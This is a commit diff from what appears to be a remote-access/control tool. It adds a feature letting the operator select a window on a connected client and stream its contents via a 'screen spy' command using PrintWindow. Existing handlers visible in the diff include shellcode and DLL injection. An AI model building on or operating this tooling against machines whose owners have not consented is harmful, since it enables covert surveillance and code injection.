Feat: window capture via PrintWindow with server-side HWND routing by clientID
This commit is contained in:
Binary file not shown.
@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
||||
SAFE_DELETE(tinyRun);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t)
|
||||
char* arg = (char*)wParam;
|
||||
uint64_t clientID = 0, hwnd64 = 0;
|
||||
memcpy(&clientID, arg, sizeof(uint64_t));
|
||||
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
|
||||
delete[] arg;
|
||||
auto ctx = FindHost(clientID);
|
||||
if (!ctx) return S_FALSE;
|
||||
|
||||
// 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
|
||||
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
|
||||
(BYTE)all };
|
||||
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
|
||||
screenParamModifier(ctx, bToken);
|
||||
ctx->Send2Client(bToken, sizeof(bToken));
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* ip = (char*)wParam;
|
||||
|
||||
@@ -510,6 +510,7 @@ public:
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
|
||||
memcpy(arg + 256, arch, arch.GetLength());
|
||||
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
||||
}
|
||||
|
||||
void CSystemDlg::OnWlistView()
|
||||
{
|
||||
int nItem = m_ControlList.GetSelectionMark();
|
||||
if (nItem < 0) return;
|
||||
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
|
||||
if (!data) return;
|
||||
|
||||
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
|
||||
if (data->Data[2] == "minimized") {
|
||||
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
|
||||
// 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = m_ContextObject->GetClientID();
|
||||
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||
|
||||
ASSERT(m_pParent);
|
||||
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
|
||||
}
|
||||
|
||||
@@ -48,4 +48,5 @@ public:
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnPlistInject();
|
||||
afx_msg void OnPlistAntiBlackScreen();
|
||||
afx_msg void OnWlistView();
|
||||
};
|
||||
|
||||
@@ -1933,3 +1933,5 @@ FRPC Զ
|
||||
卸载软件=Uninstall Software
|
||||
是否移除此软件?=Uninstall this software. Are you sure?
|
||||
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
||||
查看=View Window
|
||||
该窗口已最小化,请先还原后再查看。=The window is minimized. Please restore it before viewing.
|
||||
|
||||
@@ -1924,3 +1924,5 @@ FRPC Զ
|
||||
卸载软件=卸载软件
|
||||
是否移除此软件?=是否移除此软件?
|
||||
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
||||
查看=查看
|
||||
该窗口已最小化,请先还原后再查看。=該視窗已最小化,請先還原後再查看。
|
||||
|
||||
@@ -1000,6 +1000,8 @@
|
||||
#define ID_VIEW_HIDE_LOG 33061
|
||||
#define ID_33062 33062
|
||||
#define ID_COPY_CLIENT_INFO 33063
|
||||
#define ID_WLIST_33064 33064
|
||||
#define ID_WLIST_VIEW 33065
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
@@ -1007,7 +1009,7 @@
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
||||
#define _APS_NEXT_COMMAND_VALUE 33064
|
||||
#define _APS_NEXT_COMMAND_VALUE 33066
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
@@ -109,6 +109,7 @@
|
||||
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
||||
#define WM_SPLITTER_MOVED WM_USER+3040
|
||||
#define WM_SPLITTER_RELEASED WM_USER+3041
|
||||
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
|
||||
Reference in New Issue
Block a user